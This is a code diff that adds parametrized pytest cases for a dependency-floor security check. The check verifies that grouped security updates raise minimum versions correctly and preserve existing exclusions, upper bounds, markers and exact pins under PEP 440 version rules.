+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0.post0"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.0.post0")],
+ False,
+ True,
+ id="stable-post-zero-above-base-release",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0.post0"],
+ ["danger-pkg>=1.0.post1"],
+ [("danger-pkg", "1.0.post0")],
+ [("danger-pkg", "1.0.post1")],
+ False,
+ True,
+ id="stable-post-release-increases-monotonically",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0.post9"],
+ ["danger-pkg>=1.1"],
+ [("danger-pkg", "1.0.post9")],
+ [("danger-pkg", "1.1")],
+ False,
+ True,
+ id="stable-next-release-above-post-release",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.0.post1")],
+ False,
+ False,
+ id="base-floor-does-not-cover-post-security-fix",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0.post9"],
+ [("danger-pkg", "1.1")],
+ [("danger-pkg", "1.0.post9")],
+ False,
+ False,
+ id="post-release-cannot-downgrade-next-release",
+ ),
+ pytest.param(
+ ["danger-pkg>=0!9.0"],
+ ["danger-pkg>=1!1.0.post1"],
+ [("danger-pkg", "9.0")],
+ [("danger-pkg", "1!1.0.post1")],
+ False,
+ True,
+ id="epoch-stable-post-security-fix",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0.0.post1"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.post1")],
+ False,
+ True,
+ id="post-release-normalizes-trailing-zeroes",
+ ),
+ pytest.param(
+ ["safe-direct>=1.0"],
+ ["safe-direct>=1.0"],
+ [("safe-direct", "1.0"), ("transitive", "1.0")],
+ [("safe-direct", "1.0"), ("transitive", "1.1")],
+ False,
+ False,
+ id="unbounded-transitive-security-update-rejected",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0"],
+ [("danger-pkg", "1.0"), ("danger-pkg", "2.0")],
+ [("danger-pkg", "1.0"), ("danger-pkg", "2.1")],
+ False,
+ False,
+ id="multiple-locked-versions",
+ ),
+ pytest.param(
+ ["danger-pkg"],
+ ["danger-pkg>=1.1"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ False,
+ True,
+ id="previously-unbounded",
+ ),
+ *[
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=" + version],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ False,
+ False,
+ id="unsupported-floor-" + label,
+ )
+ for label, version in (
+ ("prerelease", "1.1rc1"),
+ ("development", "1.1.dev1"),
+ ("local", "1.1+local"),
+ )
+ ],
+ pytest.param(
+ ["danger-pkg>=1.0rc1"],
+ ["danger-pkg>=1.1"],
+ [("danger-pkg", "1.0rc1")],
+ [("danger-pkg", "1.1")],
+ False,
+ False,
+ id="unsupported-previous-floor",
+ ),
+ ],
+)
+def test_only_direct_security_updates_must_raise_published_minimums(
+ tmp_path: Path,
+ base: list[str],
+ head: list[str],
+ before: list[tuple[str, str]],
+ after: list[tuple[str, str]],
+ optional: bool,
+ accepted: bool,
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base,
+ head_requirements=head,
+ base_packages=before,
+ head_packages=after,
+ optional=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("scope", ["runtime", "optional", "protected"])
+@pytest.mark.parametrize(
+ ("previous", "current", "before", "after", "accepted"),
+ [
+ pytest.param(">=1,>=1.5", ">=1,>=2", "1.5", "2", True, id="strongest-redundant-floor-reaches-patched-release"),
+ pytest.param(">=1.5,>=1", ">=2,>=1", "1.5", "2", True, id="strongest-redundant-floor-is-order-independent"),
+ pytest.param(">=1,>=2", ">=1,>=1.5", "2", "2", False, id="strongest-redundant-floor-cannot-be-lowered"),
+ pytest.param(
+ ">=1,>=1.5", ">=1.1,>=1.5", "1.5", "2", False, id="weaker-redundant-floor-cannot-mask-patched-floor"
+ ),
+ pytest.param(
+ ">=1.9,>=1.10", ">=1.9,>=1.11", "1.10", "1.11", True, id="redundant-floors-use-numeric-release-order"
+ ),
+ pytest.param(">=0!9,>=1!1", ">=0!9,>=1!2", "1!1", "1!2", True, id="redundant-floors-preserve-epoch-order"),
+ pytest.param(
+ ">=1,>=1.post1",
+ ">=1,>=1.post2",
+ "1.post1",
+ "1.post2",
+ True,
+ id="redundant-floors-preserve-post-release-order",
+ ),
+ pytest.param(">1,>=1.5", ">1,>=2", "1.5", "2", True, id="strict-and-inclusive-floors-select-strongest"),
+ pytest.param(">=1,>1.5", ">=1,>=2", "1.6", "2", True, id="stronger-inclusive-floor-preserves-strict-floor"),
+ pytest.param(">1,>=1.post1", ">1,>=1.2", "1.1", "1.2", True, id="strict-final-floor-still-excludes-base-posts"),
+ pytest.param("~=1.4,>=1.5", "~=1.4,>=1.7", "1.5", "1.7", True, id="compatible-floor-retains-implicit-ceiling"),
+ pytest.param(
+ "~=1.4,>=1.5", ">=1.4,>=1.7", "1.5", "1.7", False, id="redundant-floor-cannot-drop-compatible-ceiling"
+ ),
+ pytest.param("==1.*,>=1.5", "==1.*,>=1.7", "1.5", "1.7", True, id="wildcard-floor-retains-implicit-ceiling"),
+ pytest.param(
+ "==1.*,>=1.5", ">=1,>=1.7,<3", "1.5", "1.7", False, id="redundant-floor-cannot-widen-wildcard-ceiling"
+ ),
+ pytest.param(
+ ">=1,>=1.5,!=1.6",
+ ">=1,>=1.7,!=1.6",
+ "1.5",
+ "1.7",
+ True,
+ id="redundant-floor-preserves-published-exclusion",
+ ),
+ pytest.param(
+ ">=1,>=1.5,!=1.8",
+ ">=1,>=1.7",
+ "1.5",
+ "1.7",
+ False,
+ id="redundant-floor-cannot-remove-published-exclusion",
+ ),
+ pytest.param(
+ ">=1,>=1.5,<3", ">=1,>=2,<3", "1.5", "2", True, id="redundant-floor-preserves-published-upper-bound"
+ ),
+ pytest.param(
+ ">=1,>=1.5,<3", ">=1,>=2,<4", "1.5", "2", False, id="redundant-floor-cannot-widen-published-upper-bound"
+ ),
+ pytest.param("==1.5,>=1", "==2,>=1", "1.5", "2", True, id="exact-pin-and-redundant-floor-upgrade"),
+ pytest.param(
+ "==1.5,>=1", "==1.5,>=2", "1.5", "2", False, id="exact-pin-contradicting-strongest-floor-fails-closed"
+ ),
+ pytest.param("===1.5,>=1", "===2,>=1", "1.5", "2", True, id="arbitrary-pin-and-redundant-floor-upgrade"),
+ pytest.param("===1.5,>=1", "===2.0,>=1", "1.5", "2", False, id="arbitrary-pin-retains-raw-lock-identity"),
+ pytest.param(
+ ">=1,>=1.5", ">=2rc1,>=2", "1.5", "2", False, id="unsupported-redundant-prerelease-floor-fails-closed"
+ ),
+ pytest.param(">=1,>=1.5", ">=2,>=", "1.5", "2", False, id="malformed-redundant-floor-fails-closed"),
+ pytest.param(
+ ">=1,>=1.5", ">=2,>=2.0", "1.5", "2", False, id="ambiguous-equivalent-redundant-floor-fails-closed"
+ ),
+ pytest.param(">=1,>=1.5,<3", ">=1,>=2,<2", "1.5", "2", False, id="contradictory-floor-and-ceiling-fail-closed"),
+ ],
+)
+def test_security_dependency_minimum_uses_strongest_effective_floor(
+ tmp_path: Path, scope: str, previous: str, current: str, before: str, after: str, accepted: bool
+) -> None:
+ base = "danger-pkg" + previous
+ head = "danger-pkg" + current
+ protected = scope == "protected"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["safe-direct>=1"] if protected else [base],
+ head_requirements=["safe-direct>=1"] if protected else [head],
+ base_packages=[("danger-pkg", before), *([("safe-direct", "1")] if protected else [])],
+ head_packages=[("danger-pkg", after), *([("safe-direct", "1")] if protected else [])],
+ optional=scope == "optional",
+ base_constraints=[base] if protected else None,
+ head_constraints=[head] if protected else None,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("removed-exclusion", False, id="grouped-update-cannot-remove-runtime-wildcard-exclusion"),
+ pytest.param("narrowed-exclusion", False, id="exact-exclusion-cannot-replace-entire-vulnerable-prefix"),
+ pytest.param("removed-upper", False, id="grouped-update-cannot-remove-runtime-upper-bound"),
+ pytest.param("widened-upper", False, id="grouped-update-cannot-widen-runtime-upper-bound"),
+ pytest.param("inclusive-upper", False, id="inclusive-bound-cannot-weaken-exclusive-upper"),
+ pytest.param("strengthened-upper", True, id="narrower-upper-bound-preserves-supported-locks"),
+ pytest.param("exclusive-upper", True, id="exclusive-upper-may-strengthen-inclusive-bound"),
+ pytest.param("canonical-reordered", True, id="canonical-reordered-security-bounds-remain-equivalent"),
+ pytest.param("stronger-wildcard", True, id="broader-exclusion-prefix-may-strengthen-security"),
+ pytest.param("wildcard-drops-v2", False, id="stronger-wildcard-cannot-drop-supported-v2-lock"),
+ pytest.param("exact-to-wildcard", True, id="wildcard-may-strengthen-exact-release-exclusion"),
+ pytest.param("post-removed", False, id="unchanged-lock-must-retain-exact-stable-post-exclusion"),
+ pytest.param("post-covered", True, id="release-prefix-may-strengthen-stable-post-exclusion"),
+ pytest.param("floor-covers-exact", True, id="stronger-floor-may-imply-prior-exact-exclusion"),
+ pytest.param("upper-covers-wildcard", True, id="stronger-upper-may-imply-prior-prefix-exclusion"),
+ pytest.param("wrong-epoch", False, id="other-epoch-prefix-does-not-preserve-existing-exclusion"),
+ pytest.param("epoch-canonical", True, id="canonical-same-epoch-prefix-preserves-existing-exclusion"),
+ pytest.param("marker-preserved", True, id="unchanged-marker-retains-runtime-security-bounds"),
+ pytest.param("marker-moved", False, id="security-bounds-cannot-move-to-different-marker-context"),
+ pytest.param("optional-removed", False, id="grouped-update-cannot-remove-optional-security-exclusion"),
+ pytest.param("optional-preserved", True, id="optional-security-context-and-bounds-remain-supported"),
+ pytest.param("unaffected-v1-dropped", False, id="security-bounds-cannot-drop-supported-unchanged-v1"),
+ pytest.param("unaffected-v2-dropped", False, id="security-bounds-cannot-drop-supported-unchanged-v2"),
+ pytest.param("malformed-exclusion", False, id="ambiguous-unchanged-lock-exclusion-fails-closed"),
+ pytest.param("no-old-security-bounds", True, id="unbounded-unchanged-dependency-still-accepts-new-floor"),
+ ],
+)
+def test_grouped_security_updates_preserve_unchanged_published_bounds(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ previous = "pydantic>=1,<3,!=2.12.5.*"
+ current = previous
+ v1, v2 = "1.10.26", "2.12.6"
+ optional = variant.startswith("optional-")
+
+ if variant in {"removed-exclusion", "optional-removed"}:
+ current = "pydantic>=1,<3"
+ elif variant == "narrowed-exclusion":
+ current = "pydantic>=1,<3,!=2.12.5"
+ elif variant == "removed-upper":
+ current = "pydantic>=1,!=2.12.5.*"
+ elif variant == "widened-upper":
+ current = "pydantic>=1,<4,!=2.12.5.*"
+ elif variant == "inclusive-upper":
+ current = "pydantic>=1,<=3,!=2.12.5.*"
+ elif variant == "strengthened-upper":
+ current = "pydantic>=1,<2.13,!=2.12.5.*"
+ elif variant == "exclusive-upper":
+ previous = "pydantic>=1,<=3,!=2.12.5.*"
+ current = "pydantic>=1,<3,!=2.12.5.*"
+ elif variant == "canonical-reordered":
+ current = "pydantic!=0!2.12.5.*,<3.0,>=1.0.0"
+ elif variant in {"stronger-wildcard", "wildcard-drops-v2"}:
+ current = "pydantic>=1,<3,!=2.12.*"
+ if variant == "stronger-wildcard":
+ v2 = "2.13.0"
+ elif variant == "exact-to-wildcard":
+ previous = "pydantic>=1,<3,!=2.12.5"
+ elif variant in {"post-removed", "post-covered"}:
+ previous = "pydantic>=1,<3,!=2.12.5.post1"
+ current = "pydantic>=1,<3" if variant == "post-removed" else "pydantic>=1,<3,!=2.12.5.*"
+ elif variant == "floor-covers-exact":
+ previous = "pydantic>=1,<3,!=1.10.25"
+ current = "pydantic>=1.10.26,<3"
+ elif variant == "upper-covers-wildcard":
+ current = "pydantic>=1,<2.12.5"
+ v2 = "2.11.0"
+ elif variant in {"wrong-epoch", "epoch-canonical"}:
+ previous = "pydantic>=1!1,<1!3,!=1!2.12.5.*"
+ current = (
+ "pydantic>=1!1,<1!3,!=0!2.12.5.*" if variant == "wrong-epoch" else "pydantic>=1!1,<1!3.0,!=01!02.012.005.*"
+ )
+ v1, v2 = "1!1.10.26", "1!2.12.6"
+ elif variant in {"marker-preserved", "marker-moved"}:
+ previous += "; python_version >= '3.11'"
+ current += "; python_version >= '3.12'" if variant == "marker-moved" else "; python_version >= '3.11'"
+ elif variant == "unaffected-v1-dropped":
+ current += ",!=1.10.26.*"
+ elif variant == "unaffected-v2-dropped":
+ current += ",!=2.12.6.*"
+ elif variant == "malformed-exclusion":
+ current = "pydantic>=1,<3,!=2.12.5.post1.*"
+ elif variant == "no-old-security-bounds":
+ previous, current = "pydantic", "pydantic>=1"
+
+ base_requirements = ["danger-pkg>=1"]
+ head_requirements = ["danger-pkg>=2"]
+ base_optional_groups = {"feature": [previous]} if optional else None
+ head_optional_groups = {"feature": [current]} if optional else None
+ if not optional:
+ base_requirements.append(previous)
+ head_requirements.append(current)
+ unchanged = [("pydantic", v1), ("pydantic", v2)]
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("danger-pkg", "1"), *unchanged],
+ head_packages=[("danger-pkg", "2"), *unchanged],
+ base_optional_groups=base_optional_groups,
+ head_optional_groups=head_optional_groups,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("specifier", "locked"),
+ [
+ pytest.param(">=1.0a1", "1.0", id="unchanged-alpha-lower-bound"),
+ pytest.param(">=1.0b2", "1.0", id="unchanged-beta-lower-bound"),
+ pytest.param(">=1.0rc1", "1.0", id="unchanged-release-candidate-lower-bound"),
+ pytest.param(">=1.0.dev1", "1.0", id="unchanged-development-lower-bound"),
+ pytest.param(">=1.0rc1.post2.dev3", "1.0", id="unchanged-combined-prerelease-post-development-bound"),
+ pytest.param("<2.0rc1", "1.0", id="unchanged-prerelease-upper-bound"),
+ pytest.param("!=1.0rc1", "1.0", id="unchanged-prerelease-exclusion"),
+ pytest.param("~=1.0rc1", "1.0", id="unchanged-compatible-prerelease-bound"),
+ pytest.param("==1.0rc1", "1.0rc1", id="unchanged-exact-prerelease-pin"),
+ pytest.param("===1.0rc1", "1.0rc1", id="unchanged-arbitrary-prerelease-pin"),
+ pytest.param("==1.0+linux", "1.0+linux", id="unchanged-local-version-pin"),
+ pytest.param(">=1!1.0rc1", "1!1.0", id="unchanged-epoch-prerelease-bound"),
+ ],
+)
+@pytest.mark.parametrize("scope", ["runtime", "optional", "constraint", "build", "group"])
+def test_grouped_security_updates_preserve_unchanged_pep440_prerelease_requirements(
+ tmp_path: Path, specifier: str, locked: str, scope: str
+) -> None:
+ requirement = "beta" + specifier
+ assert Requirement(requirement).specifier.contains(locked, prereleases=True)
+ base_requirements = ["patch>=1"]
+ head_requirements = ["patch>=2"]
+ if scope == "runtime":
+ base_requirements.append(requirement)
+ head_requirements.append(requirement)
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch", "1"), ("beta", locked)],
+ head_packages=[("patch", "2"), ("beta", locked)],
+ base_optional_groups={"feature": [requirement]} if scope == "optional" else None,
+ head_optional_groups={"feature": [requirement]} if scope == "optional" else None,
+ base_constraints=[requirement] if scope == "constraint" else None,
+ head_constraints=[requirement] if scope == "constraint" else None,
+ base_build_constraints=[requirement] if scope == "build" else None,
+ head_build_constraints=[requirement] if scope == "build" else None,
+ base_dependency_groups={"development": [requirement]} if scope == "group" else None,
+ head_dependency_groups={"development": [requirement]} if scope == "group" else None,
+ )
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("scope", ["runtime", "optional", "constraint", "build", "group"])
+@pytest.mark.parametrize(
+ ("previous", "current"),
+ [
+ pytest.param("beta>=1.0rc1", "beta>=1", id="changed-prerelease-floor-is-not-silently-reinterpreted"),
+ pytest.param("beta>=1.0.dev1", "beta>=1", id="changed-development-floor-is-not-silently-reinterpreted"),
+ pytest.param("beta<2.0rc1", "beta<3", id="changed-prerelease-ceiling-is-not-silently-reinterpreted"),
+ pytest.param("beta!=1.0rc1", "beta", id="removed-prerelease-exclusion-is-not-silently-reinterpreted"),
+ ],
+)
+def test_grouped_security_updates_do_not_bypass_changed_prerelease_requirements(
+ tmp_path: Path, previous: str, current: str, scope: str
+) -> None:
+ Requirement(previous)
+ Requirement(current)
+ base_requirements = ["patch>=1"]
+ head_requirements = ["patch>=2"]
+ if scope == "runtime":
+ base_requirements.append(previous)
+ head_requirements.append(current)
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch", "1"), ("beta", "1.5")],
+ head_packages=[("patch", "2"), ("beta", "1.5")],
+ base_optional_groups={"feature": [previous]} if scope == "optional" else None,
+ head_optional_groups={"feature": [current]} if scope == "optional" else None,
+ base_constraints=[previous] if scope == "constraint" else None,
+ head_constraints=[current] if scope == "constraint" else None,
+ base_build_constraints=[previous] if scope == "build" else None,
+ head_build_constraints=[current] if scope == "build" else None,
+ base_dependency_groups={"development": [previous]} if scope == "group" else None,
+ head_dependency_groups={"development": [current]} if scope == "group" else None,
+ )
+ assert result.returncode == 1, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("constraint-exclusion", False, id="unchanged-uv-constraint-cannot-lose-exact-exclusion"),
+ pytest.param("constraint-wildcard", False, id="unchanged-uv-constraint-cannot-lose-prefix-exclusion"),
+ pytest.param("constraint-upper", False, id="unchanged-uv-constraint-cannot-widen-upper-bound"),
+ pytest.param("build-exclusion", False, id="unchanged-build-constraint-cannot-lose-security-exclusion"),
+ pytest.param("build-wildcard", False, id="unchanged-build-constraint-cannot-lose-prefix-exclusion"),
+ pytest.param("group-exclusion", False, id="unchanged-dependency-group-cannot-lose-security-exclusion"),
+ pytest.param("group-wildcard", False, id="unchanged-dependency-group-cannot-lose-prefix-exclusion"),
+ pytest.param("group-no-floor", False, id="protected-exclusion-is-checked-before-no-minimum-skip"),
+ pytest.param("changed-lock-exclusion", False, id="protected-patch-cannot-erase-other-security-exclusion"),
+ pytest.param("post-removed", False, id="protected-stable-post-exclusion-remains-immutable"),
+ pytest.param("wrong-epoch", False, id="protected-exclusion-cannot-move-to-different-epoch"),
+ pytest.param("marker-exclusion", False, id="protected-marker-context-retains-existing-exclusion"),
+ pytest.param("marker-moved", False, id="protected-exclusion-cannot-move-marker-context"),
+ pytest.param("drops-supported-lock", False, id="stronger-protected-bound-cannot-drop-current-locked-line"),
+ pytest.param("stronger-exclusion", True, id="protected-prefix-may-strengthen-exact-exclusion"),
+ pytest.param("stronger-upper", True, id="protected-upper-may-strengthen-without-dropping-lock"),
+ pytest.param("canonical-order", True, id="canonical-reordered-protected-bounds-remain-equivalent"),
+ pytest.param("build-pin-upgrade", True, id="immutable-exact-build-pins-may-take-reviewed-security-patch"),
+ pytest.param("unbounded-group", True, id="unchanged-unbounded-development-group-remains-supported"),
+ ],
+)
+def test_grouped_security_updates_preserve_all_protected_dependency_bounds(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ previous = "danger>=1,<3,!=1.5"
+ current = "danger>=1,<3"
+ before, after = "2", "2"
+ scope = "constraint"
+
+ if variant in {"constraint-wildcard", "build-wildcard", "group-wildcard"}:
+ previous = "danger>=1,<3,!=1.5.*"
+ elif variant == "constraint-upper":
+ current = "danger>=1,<4,!=1.5"
+ elif variant == "group-no-floor":
+ previous, current = "danger<3,!=1.5", "danger<3"
+ elif variant == "changed-lock-exclusion":
+ previous = "danger>=1,<3,!=2.5"
+ current = "danger>=1.6,<3"
+ before, after = "1.4", "1.6"
+ elif variant == "post-removed":
+ previous = "danger>=1,<3,!=1.5.post2"
+ elif variant == "wrong-epoch":
+ previous = "danger>=1!1,<1!3,!=1!1.5.*"
+ current = "danger>=1!1,<1!3,!=0!1.5.*"
+ before = after = "1!2"
+ elif variant in {"marker-exclusion", "marker-moved"}:
+ previous += "; python_version >= '3.11'"
+ current += "; python_version >= '3.12'" if variant == "marker-moved" else "; python_version >= '3.11'"
+ elif variant == "drops-supported-lock":
+ current = "danger>=1,<2,!=1.5"
+ elif variant == "stronger-exclusion":
+ current = "danger>=1,<3,!=1.5.*"
+ elif variant == "stronger-upper":
+ current = "danger>=1,<2.5,!=1.5"
+ elif variant == "canonical-order":
+ current = "danger!=0!1.5,<3.0,>=1.0"
+ elif variant == "build-pin-upgrade":
+ previous, current = "danger==1.5", "danger==1.6"
+ before, after = "1.5", "1.6"
+ elif variant == "unbounded-group":
+ previous = current = "danger"
+
+ if variant.startswith("build-"):
+ scope = "build"
+ elif variant.startswith("group-") or variant == "unbounded-group":
+ scope = "group"
+
+ base_constraints = [previous] if scope == "constraint" else None
+ head_constraints = [current] if scope == "constraint" else None
+ base_build = [previous] if scope == "build" else None
+ head_build = [current] if scope == "build" else None
+ base_groups = {"reviewed": [previous]} if scope == "group" else None
+ head_groups = {"reviewed": [current]} if scope == "group" else None
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"],
+ head_requirements=["patch-me>=1.1"],
+ base_packages=[("patch-me", "1"), ("danger", before)],
+ head_packages=[("patch-me", "1.1"), ("danger", after)],
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_build_constraints=base_build,
+ head_build_constraints=head_build,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime-wildcard", False, id="patched-runtime-lock-cannot-remove-prior-prefix-exclusion"),
+ pytest.param("runtime-exact", False, id="patched-runtime-lock-cannot-remove-prior-exact-exclusion"),
+ pytest.param("runtime-post", False, id="patched-runtime-lock-cannot-remove-stable-post-exclusion"),
+ pytest.param("runtime-upper", False, id="patched-runtime-lock-cannot-widen-existing-upper-bound"),
+ pytest.param("optional-wildcard", False, id="patched-optional-lock-cannot-remove-prior-prefix-exclusion"),
+ pytest.param("optional-upper", False, id="patched-optional-lock-cannot-remove-existing-upper-bound"),
+ pytest.param("epoch-wrong", False, id="patched-lock-cannot-move-exclusion-into-another-epoch"),
+ pytest.param("marker-exclusion", False, id="patched-marker-context-cannot-drop-security-exclusion"),
+ pytest.param("marker-moved", False, id="patched-security-exclusion-cannot-move-marker-context"),
+ pytest.param("malformed-exclusion", False, id="patched-lock-security-exclusion-must-remain-unambiguous"),
+ pytest.param("preserved-wildcard", True, id="patched-lock-preserves-existing-prefix-exclusion"),
+ pytest.param("stronger-wildcard", True, id="patched-lock-may-strengthen-exact-into-prefix-exclusion"),
+ pytest.param("stronger-upper", True, id="patched-lock-may-strengthen-upper-without-dropping-support"),
+ pytest.param("canonical-order", True, id="patched-lock-preserves-canonical-reordered-security-bounds"),
+ pytest.param("floor-implies-exclusion", True, id="patched-floor-may-safely-imply-prior-exact-exclusion"),
+ pytest.param("optional-preserved", True, id="patched-optional-context-preserves-existing-security-bounds"),
+ ],
+)
+def test_patched_locks_preserve_existing_published_security_bounds(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ previous = "danger>=1,<3,!=2.0.*"
+ current = "danger>=1.1,<3"
+ before, after = "1", "1.1"
+ optional = variant.startswith("optional-")
+
+ if variant in {"runtime-exact", "runtime-post"}:
+ previous = "danger>=1,<3,!=2.0.post1" if variant == "runtime-post" else "danger>=1,<3,!=2.0"
+ elif variant in {"runtime-upper", "optional-upper"}:
+ current = "danger>=1.1,<4,!=2.0.*"
+ elif variant == "epoch-wrong":
+ previous = "danger>=1!1,<1!3,!=1!2.0.*"
+ current = "danger>=1!1.1,<1!3,!=0!2.0.*"
+ before, after = "1!1", "1!1.1"
+ elif variant in {"marker-exclusion", "marker-moved"}:
+ previous += "; python_version >= '3.11'"
+ current += "; python_version >= '3.12'" if variant == "marker-moved" else "; python_version >= '3.11'"
+ elif variant == "malformed-exclusion":
+ current += ",!=2.0.post1.*"
+ elif variant in {"preserved-wildcard", "optional-preserved"}:
+ current += ",!=2.0.*"
+ elif variant == "stronger-wildcard":
+ previous = "danger>=1,<3,!=2.0"
+ current += ",!=2.0.*"
+ elif variant == "stronger-upper":
+ current = "danger>=1.1,<2,!=2.0.*"
+ elif variant == "canonical-order":
+ current = "danger!=0!2.0.*,<3.0,>=1.1.0"
+ elif variant == "floor-implies-exclusion":
+ previous = "danger>=0,<3,!=0.5"
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[previous],
+ head_requirements=[current],
+ base_packages=[("danger", before)],
+ head_packages=[("danger", after)],
+ optional=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime-lower", False, id="unchanged-runtime-exact-pin-cannot-widen-to-floor"),
+ pytest.param("runtime-upper", False, id="unchanged-runtime-exact-pin-cannot-widen-to-ceiling"),
+ pytest.param("runtime-range", False, id="unchanged-runtime-exact-pin-cannot-widen-to-range"),
+ pytest.param("runtime-removed", False, id="unchanged-runtime-exact-pin-cannot-be-removed"),
+ pytest.param("runtime-replaced", False, id="unchanged-runtime-lock-cannot-swap-exact-pin"),
+ pytest.param("optional-lower", False, id="unchanged-optional-exact-pin-cannot-widen"),
+ pytest.param("constraint-lower", False, id="unchanged-uv-exact-pin-cannot-widen"),
+ pytest.param("build-lower", False, id="unchanged-build-exact-pin-cannot-widen"),
+ pytest.param("group-lower", False, id="unchanged-development-exact-pin-cannot-widen"),
+ pytest.param("marker-lower", False, id="unchanged-marker-scoped-exact-pin-cannot-widen"),
+ pytest.param("epoch-lower", False, id="unchanged-epoch-exact-pin-cannot-widen"),
+ pytest.param("post-lower", False, id="unchanged-stable-post-exact-pin-cannot-widen"),
+ pytest.param("upgrade-widen", False, id="patched-release-cannot-replace-exact-pin-with-range"),
+ pytest.param("upgrade-wrong-pin", False, id="patched-release-must-match-replacement-exact-pin"),
+ pytest.param("upgrade-retained-old", False, id="replacement-pin-cannot-leave-original-release-live"),
+ pytest.param("upgrade-ambiguous", False, id="replacement-pin-requires-one-for-one-locked-upgrade"),
+ pytest.param("upgrade-downgrade", False, id="replacement-pin-cannot-follow-a-downgraded-release"),
+ pytest.param("exact-preserved", True, id="unchanged-original-exact-pin-remains-supported"),
+ pytest.param("canonical-preserved", True, id="canonical-equivalent-exact-pin-remains-supported"),
+ pytest.param("redundant-preserved", True, id="exact-pin-with-redundant-safe-bounds-remains-supported"),
+ pytest.param("runtime-upgrade", True, id="published-exact-pin-may-track-real-security-upgrade"),
+ pytest.param("optional-upgrade", True, id="optional-exact-pin-may-track-real-security-upgrade"),
+ pytest.param("constraint-upgrade", True, id="uv-exact-pin-may-track-real-security-upgrade"),
+ pytest.param("build-upgrade", True, id="reviewed-build-exact-pin-may-track-real-security-upgrade"),
+ pytest.param("group-upgrade", True, id="development-exact-pin-may-track-real-security-upgrade"),
+ pytest.param("epoch-upgrade", True, id="epoch-exact-pin-may-track-matching-security-upgrade"),
+ pytest.param("post-upgrade", True, id="stable-post-exact-pin-may-track-matching-security-upgrade"),
+ pytest.param("marker-upgrade", True, id="contextual-exact-pin-may-track-matching-security-upgrade"),
+ ],
+)
+def test_grouped_security_updates_preserve_exact_dependency_pins(tmp_path: Path, variant: str, accepted: bool) -> None:
+ previous, current = "danger==1", "danger>=1"
+ before, after = ["1"], ["1"]
+ optional = variant.startswith("optional-")
+ constraints: tuple[list[str], list[str]] | None = None
+ build: tuple[list[str], list[str]] | None = None
+ groups: tuple[dict[str, list[str]], dict[str, list[str]]] | None = None
+
+ if variant == "runtime-upper":
+ current = "danger<=1"
+ elif variant == "runtime-range":
+ current = "danger>=1,<2"
+ elif variant == "runtime-removed":
+ current = "danger"
+ elif variant == "runtime-replaced":
+ current = "danger==2"
+ elif variant == "constraint-lower":
+ constraints = ([previous], [current])
+ elif variant == "build-lower":
+ build = ([previous], [current])
+ elif variant == "group-lower":
+ groups = ({"reviewed": [previous]}, {"reviewed": [current]})
+ elif variant in {"marker-lower", "marker-upgrade"}:
+ previous += "; python_version >= '3.11'"
+ if variant == "marker-upgrade":
+ current = "danger==2; python_version >= '3.11'"
+ after = ["2"]
+ else:
+ current += "; python_version >= '3.11'"
+ elif variant in {"epoch-lower", "epoch-upgrade"}:
+ previous = "danger==1!1"
+ before = ["1!1"]
+ if variant == "epoch-upgrade":
+ current, after = "danger==1!2", ["1!2"]
+ else:
+ current, after = "danger>=1!1", ["1!1"]
+ elif variant in {"post-lower", "post-upgrade"}:
+ previous = "danger==1.post1"
+ before = ["1.post1"]
+ if variant == "post-upgrade":
+ current, after = "danger==1.post2", ["1.post2"]
+ else:
+ current, after = "danger>=1.post1", ["1.post1"]
+ elif variant == "upgrade-widen":
+ current, after = "danger>=2", ["2"]
+ elif variant == "upgrade-wrong-pin":
+ current, after = "danger==3", ["2"]
+ elif variant == "upgrade-retained-old":
+ current, after = "danger==2", ["1", "2"]
+ elif variant == "upgrade-ambiguous":
+ current, after = "danger==2", ["2", "3"]
+ elif variant == "upgrade-downgrade":
+ previous, current, before, after = "danger==2", "danger==1", ["2"], ["1"]
+ elif variant == "exact-preserved":
+ current = previous
